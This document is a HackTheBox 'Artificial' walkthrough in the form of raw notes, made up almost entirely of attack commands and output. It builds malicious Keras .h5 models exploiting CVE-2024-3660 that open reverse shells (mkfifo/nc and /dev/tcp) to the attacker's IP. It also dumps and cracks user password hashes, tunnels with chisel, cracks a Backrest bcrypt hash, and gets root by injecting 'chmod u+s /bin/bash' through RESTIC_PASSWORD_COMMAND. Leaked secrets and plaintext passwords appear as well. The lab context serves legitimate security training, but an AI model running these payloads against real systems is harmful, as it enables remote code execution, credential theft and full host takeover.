ARTIFICIAL-HTB Notes

ARTIFICAL

Here is my note on ARTIFICIAL box from Hackthebox.

ARTIFICIAL: 10.129.29.219

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 7ce48d84c5de913a5a2b9d34edd69917 (RSA)
|   256 83462dcf736d286f11d51db48820d67c (ECDSA)
|_  256 e3182e3b4061b45987e84a29240f6afc (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/

Starting nikto scan

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          10.129.29.219
+ Target Hostname:    10.129.29.219
+ Target Port:        80
+ Start Time:         2025-08-25 10:45:30 (GMT-4)
---------------------------------------------------------------------------
+ Server: nginx/1.18.0 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME typ
e. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Root page / redirects to: http://artificial.htb/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ nginx/1.18.0 appears to be outdated (current is at least 1.20.1).

Finished nikto scan

sudo gobuster dir -u http://artificial.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -x php

/login                (Status: 200) [Size: 857]
/register             (Status: 200) [Size: 952]
/logout               (Status: 302) [Size: 189] [--> /]
/dashboard            (Status: 302) [Size: 199] [--> /login]


ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://artifical.htb/ -H "Host: FUZZ.artifical.htb"

#NO VHOST. 


Let's try to register an account and login as usual. 

This will leads to /dashboard. 

/dashboard: 

YOUR MODELS

Upload, manage, and run your AI models here.

Please ensure these [requirements] are installed when building your model, or use our [Dockerfile] to build the needed environment with ease.

Upload File

┌──(root㉿kali)-[/home/kali/Downloads]
└─# cat requirements.txt
tensorflow-cpu==2.13.1

┌──(root㉿kali)-[/home/kali/Downloads]
└─# cat Dockerfile
FROM python:3.8-slim

WORKDIR /code

RUN apt-get update && \
    apt-get install -y curl && \
    curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-
manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
    rm -rf /var/lib/apt/lists/*

RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl


As long Dockerfile is in the current directory.

docker build -t my-python-tf .

┌──(root㉿kali)-[/home/…/BOXES/ARTIFICAL/10.129.29.219/CVE-2024-3660-PoC]
└─# docker rm tf-container
tf-container

┌──(root㉿kali)-[/home/…/BOXES/ARTIFICAL/10.129.29.219/CVE-2024-3660-PoC]
└─# docker run -it --name tf-container my-python-tf
root@4a3ac3ceefed:/code#

It's vulnerable to CVE-2024-3660.

https://github.com/Splinter0/tensorflow-rce/blob/main/exploit.py

root@261e1aa30c66:/code# curl https://raw.githubusercontent.com/Splinter0/tensorflow-rce/refs/heads/main/exploit.py -o exploit.py
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   326  100   326    0     0   1547      0 --:--:-- --:--:-- --:--:--  1552
root@261e1aa30c66:/code# cat exploit.py
import tensorflow as tf

def exploit(x):
    import os
    os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 6666 >/tmp/f")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")root@261e1aa30c66:/code# python3 exploit.py
2025-08-25 17:43:26.950612: I tensorflow/core/platform/cpu_feature_guard.cc:182] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.
To enable the following instructions: FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.
sh: 1: nc: not found
/usr/local/lib/python3.8/site-packages/keras/src/engine/training.py:3000: UserWarning: You are saving your model as an HDF5 file via `model.save()`. This file format is considered legacy. We recommend using instead the native Keras format, e.g. `model.save('my_model.keras')`.
  saving_api.save_model(
root@261e1aa30c66:/code# ls
exploit.h5  exploit.py  tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl


python3 - <<EOF
import tensorflow as tf

def exploit(x):
    import os
    os.system("wget http://10.10.14.135/ >/tmp/f")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")
EOF

┌──(root㉿kali)-[/home/kali/BOXES/ARTIFICAL/10.129.29.219]
└─# docker ps -a
CONTAINER ID   IMAGE          COMMAND                  CREATED             STATUS                          PORTS     NAMES
261e1aa30c66   my-python-tf   "/bin/bash"              9 minutes ago       Exited (0) About a minute ago             tf-container
a1c34e3ed5dc   5507410948b7   "/bin/sh -c 'pip ins…"   28 minutes ago      Exited (2) 25 minutes ago                 relaxed_lovelace
bbcebb614f7f   9b266d65832b   "/bin/bash"              About an hour ago   Created                                   reverent_mestorf

docker cp tf-container:/code/exploit.h5 .

docker start -ai tf-container

IT WORKS ! 

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.135 1234 >/tmp/f

python3 - <<EOF
import tensorflow as tf

def exploit(x):
    import os
    os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.135 1234 >/tmp/f")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")
EOF

docker cp tf-container:/code/exploit.h5 .

Upload it and View Protections to execute it

https://nvd.nist.gov/vuln/detail/CVE-2024-3660

https://github.com/advisories/GHSA-x4wf-678h-2pmq

https://www.oligo.security/blog/tensorflow-keras-downgrade-attack-cve-2024-3660-bypass

https://github.com/aaryanbhujang/CVE-2024-3660-PoC



#NOPE:
python3 - <<EOF
import tensorflow as tf


def arbexe(x):
    import os
    os.system(f"rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc {os.environ['10.10.14.135']} {os.environ['1234']} >/tmp/f")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(arbexe))
model.compile()
model.save("CVE20243660.h5")
EOF

import tensorflow as tfimport osdef exploit(x):    import os    os.system("/bin/bash -i >& /dev/tcp/10.10.14.135/1234 0>&1")    return xmodel = tf.keras.Sequential()model.add(tf.keras.layers.Input(shape=(64,)))model.add(tf.keras.layers.Lambda(exploit))model.compile()model.save("model.h5")



 

docker buildx build \
  --platform linux/amd64 \
  --build-arg LHOST=<YOUR-IP> \
  --build-arg LPORT=<YOUR-PORT> \
  -t tfimg . && \
container_id=$(docker create tfimg) && \
docker cp $container_id:/CVE20243660/CVE20243660.h5 ./CVE20243660.h5 && \
docker rm $container_id


docker buildx build \
  --platform linux/amd64 \
  --build-arg LHOST=10.10.14.135 \
  --build-arg LPORT=1234 \
  -t tfimg . && \
container_id=$(docker create tfimg) && \
docker cp $container_id:/CVE20243660/CVE20243660.h5 ./CVE20243660.h5 && \
docker rm $container_id



sudo rlwrap nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.135] from (UNKNOWN) [10.129.29.219] 49090
bash: cannot set terminal process group (951): Inappropriate ioctl for device
bash: no job control in this shell
app@artificial:~/app$ whoami
whoami
app
app@artificial:~/app$ hostname
hostname
artificial

USER-SHELL ! 

PRIV ESC: 

app -> gael: 

app@artificial:~/app$ ls -lah                                                                                                                     
ls -lah
total 36K
drwxrwxr-x 7 app app 4.0K Aug 25 18:00 .
drwxr-x--- 6 app app 4.0K Jun  9 10:52 ..
-rw-rw-r-- 1 app app 7.7K Jun  9 13:54 app.py
drwxr-xr-x 2 app app 4.0K Aug 25 17:59 instance
drwxrwxr-x 2 app app 4.0K Aug 25 18:00 models
drwxr-xr-x 2 app app 4.0K Jun  9 13:55 __pycache__
drwxrwxr-x 4 app app 4.0K Jun  9 13:57 static
drwxrwxr-x 2 app app 4.0K Jun 18 13:21 templates
app@artificial:~/app$ cat app.py
cat app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, flash
from flask_sqlalchemy import SQLAlchemy
from werkzeug.utils import secure_filename
import os
import tensorflow as tf
import hashlib
import uuid
import numpy as np
import io
from contextlib import redirect_stdout
import hashlib

app = Flask(__name__)
app.secret_key = "Sup3rS3cr3tKey4rtIfici4L"

app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db' #Interesting
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['UPLOAD_FOLDER'] = 'models'


app@artificial:~/app$ find / -type f -name "users.db" 2>/dev/null
find / -type f -name "users.db" 2>/dev/null
/home/app/app/instance/users.db


python3 -c 'import pty; pty.spawn("/bin/bash")'

app@artificial:~/app$ cd instance
cd instance
app@artificial:~/app/instance$ ls
ls
users.db
app@artificial:~/app/instance$ sqlite3 users.db
sqlite3 users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite>

app@artificial:~/app/instance$ sqlite3 users.db
sqlite3 users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
.tables
model  user

sqlite> select * from user;
select * from user;
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8:mattp005numbertwo
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|qwop|qwop@qwop.com|0672928bfb2c2db8131688bb54642999

#Crack it with crackstation. 

gael:mattp005numbertwo

ssh gael@10.129.29.219

gael@artificial:~$ whoami
gael
gael@artificial:~$ hostname
artificial

gael@artificial:~$ pwd
/home/gael
gael@artificial:~$ whoami
gael
gael@artificial:~$ hostname
artificial
gael@artificial:~$ cat user.txt
[REDIRECTED]

USER.TXT: [REDIRECTED]

gael -> root: 

gael@artificial:~$ id
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)

GCC enabled. 

[+] Active Ports
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      - #AI
tcp        0      0 127.0.0.1:9898          0.0.0.0:*               LISTEN      - #BACKREST
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      - #LEADS TO AI
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -

./chisel server -p 8000 --reverse 

./chisel client 10.10.14.135:8000 R:5000:127.0.0.1:5000

./chisel client 10.10.14.135:8000 R:9898:127.0.0.1:9898

gael@artificial:/opt/backrest$ ls
backrest  install.sh  jwt-secret  oplog.sqlite  oplog.sqlite.lock  oplog.sqlite-shm  oplog.sqlite-wal  processlogs  restic  tasklogs
gael@artificial:/opt/backrest$ pwd
/opt/backrest

backrest 1.7.2


[+] Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root gael 33 Aug 25 14:36 /home/gael/user.txt
-rw-r----- 1 root sysadm 52357120 Mar  4 22:19 /var/backups/backrest_backup.tar.gz


┌──(root㉿kali)-[/home/kali/BOXES/ARTIFICAL/10.129.29.219]
└─# scp gael@10.129.29.219:/var/backups/backrest_backup.tar.gz .
gael@10.129.29.219's password:
backrest_backup.tar.gz                                                                                                   100%   50MB 672.5KB/s   01:16

┌──(root㉿kali)-[/home/kali/BOXES/ARTIFICAL/10.129.29.219]
└─# ls
backrest_backup.tar.gz  CVE-2024-3660-PoC  exploit.h5  nmap  nmapAutomator_10.129.29.219_All.txt  recon

┌──(root㉿kali)-[/home/kali/BOXES/ARTIFICAL/10.129.29.219]
└─# thunar
ThunarThumbnailer: Failed to retrieve supported types: GDBus.Error:org.freedesktop.DBus.Error.ServiceUnknown: The name org.freedesktop.thumbnails.Thumbnailer1 was not provided by any .service files

┌──(root㉿kali)-[/home/kali/BOXES/ARTIFICAL/10.129.29.219]
└─# mv backrest_backup.tar.gz backrest_backup.tar

┌──(root㉿kali)-[/home/kali/BOXES/ARTIFICAL/10.129.29.219]
└─# thunar
ThunarThumbnailer: Failed to retrieve supported types: GDBus.Error:org.freedesktop.DBus.Error.ServiceUnknown: The name org.freedesktop.thumbnails.Thumbnailer1 was not provided by any .service files

┌──(root㉿kali)-[/home/kali/BOXES/ARTIFICAL/10.129.29.219]
└─# ls
backrest  backrest_backup.tar  CVE-2024-3660-PoC  exploit.h5  nmap  nmapAutomator_10.129.29.219_All.txt  recon

┌──(root㉿kali)-[/home/kali/BOXES/ARTIFICAL/10.129.29.219]
└─# cd backrest

┌──(root㉿kali)-[/home/…/BOXES/ARTIFICAL/10.129.29.219/backrest]
└─# ls
backrest  install.sh  jwt-secret  oplog.sqlite  oplog.sqlite.lock  oplog.sqlite-shm  oplog.sqlite-wal  processlogs  restic  tasklogs

┌──(root㉿kali)-[/home/…/ARTIFICAL/10.129.29.219/backrest/.config]
└─# ls
backrest

┌──(root㉿kali)-[/home/…/ARTIFICAL/10.129.29.219/backrest/.config]
└─# cd backrest

┌──(root㉿kali)-[/home/…/10.129.29.219/backrest/.config/backrest]
└─# ls
config.json

┌──(root㉿kali)-[/home/…/10.129.29.219/backrest/.config/backrest]
└─# cat config.json
{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]
  }
}


JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP = Base64 Encoded. 

$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO

┌──(root㉿kali)-[/home/…/10.129.29.219/backrest/.config/backrest]
└─# cat hash.txt
backrest_root:$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO 

┌──(root㉿kali)-[/home/…/10.129.29.219/backrest/.config/backrest]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^           (backrest_root)
1g 0:00:01:56 DONE (2025-08-25 14:50) 0.008608g/s 46.48p/s 46.48c/s 46.48C/s baby16..huevos
Use the "--show" option to display all of the cracked passwords reliably
Session completed.


Now we have backrest_root user credential for backrest service. 

backrest service as root so we can run a command out of it to gain a root shell. 


Add Restic Repo: 

repo name: restic

repo URI: /tmp 

password: exploit 

Env Vars: RESTIC_PASSWORD_COMMAND=chmod u+s /bin/bash

Submit it and it will gave you an error. 

Doesn't matter because it already executed it. 

gael@artificial:/var/backups$ ls -lah /bin/bash
-rwsr-xr-x 1 root root 1.2M Apr 18  2022 /bin/bash
gael@artificial:/var/backups$ /bin/bash -p
bash-5.0# whoami
root
bash-5.0# hostname
artificial

ROOT-SHELL ! 

bash-5.0# whoami
root
bash-5.0# hostname
artificial
bash-5.0# pwd
/root
bash-5.0# ls
root.txt  scripts
bash-5.0# cat root.txt
[REDIRECTED]

ROOT.TXT: [REDIRECTED]


Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel